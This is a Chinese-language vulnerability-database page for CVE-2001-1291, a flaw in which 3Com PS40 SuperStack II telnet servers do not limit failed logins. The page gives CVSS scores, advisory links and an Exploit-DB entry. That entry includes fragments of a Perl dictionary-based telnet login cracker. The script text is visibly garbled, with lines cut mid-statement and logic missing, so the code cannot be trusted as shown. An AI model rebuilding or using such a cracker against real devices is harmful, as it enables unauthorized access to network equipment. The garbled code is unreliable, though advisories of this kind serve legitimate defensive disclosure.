CVE-2001-1291
CVSS10.0
发布时间 :2001-07-12 00:00:00
修订时间 :2008-09-05 16:26:10
NMCOE    

[原文]The telnet server for 3Com hardware such as PS40 SuperStack II does not delay or disconnect remote attackers who provide an incorrect username or password, which makes it easier to break into the server via brute force password guessing.


[CNNVD]3Com硬件密码猜测(CNNVD-200107-081)

        3Com硬件例如PS40 SuperStack II中的远程登录服务器不延迟或拆开提供不正确的用户名或密码的远程攻击者,远程攻击者借助强力密码猜测更容易打入服务器。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1291
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-1291
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200107-081
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/static/6855.php
(VENDOR_ADVISORY)  XF  3com-telnetd-brute-force(6855)
http://www.securityfocus.com/bid/3034
(VENDOR_ADVISORY)  BID  3034
http://www.securityfocus.com/archive/1/196957
(VENDOR_ADVISORY)  BUGTRAQ  20010712 3Com TelnetD

- 漏洞信息

3Com硬件密码猜测
危急 未知
2001-07-12 00:00:00 2005-05-02 00:00:00
远程  
        3Com硬件例如PS40 SuperStack II中的远程登录服务器不延迟或拆开提供不正确的用户名或密码的远程攻击者,远程攻击者借助强力密码猜测更容易打入服务器。

- 公告与补丁

        

- 漏洞信息 (21011)

3Com SuperStack II PS Hub 40 TelnetD Weak Password Protection Vulnerability (EDBID:21011)
hardware remote
2001-07-12 Verified
0 Siberian
N/A [点击下载]
source: http://www.securityfocus.com/bid/3034/info

A vulnerability exists in certain models of 3Com hubs and potentially other 3Com network products.

The affected devices fail to properly restrict the allowed number of login attempts to the inbuilt telnet-based administration interface from remote users. Attackers can use brute-force cracking techniques in obtaining access to 3Com telnetd config accounts.

Exploiting this, a malicious user can interfere with the device's operation and configuration, creating denials of service and further compromising the network on which the device is installed. 

#!/usr/bin/perl -w

#######################esponsible for any damgae caused  #
# by the###########################################
rf, chr(13), chr(10);

recv(SOCK,$ol,1,0);
$passwd,0); 
   }
   recv(SOCK,$ol,1,0);
 $i++
}
$i=1;
}
print "\n\nIt's sad but true, you failed.\n";
}


print "\n3Com Hardware Telnet Login Cracker, written by Siberian \- Sentry Research Labs\n\n";
print "Get the latest Version at www.sentry-labs.com\n\n [target host] [dictionary] (username)";
$us= inet_aton($remote) or die "No target host computer found!";
$paddr = sockaddr_in(23, $iesspass();

close(FILE1);
close(SOCK);
exit 0;

		

- 漏洞信息

5435
3Com Telnet Server Brute Force Attack Weakness
Remote / Network Access Authentication Management
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2004-04-09 Unknow
2004-04-09 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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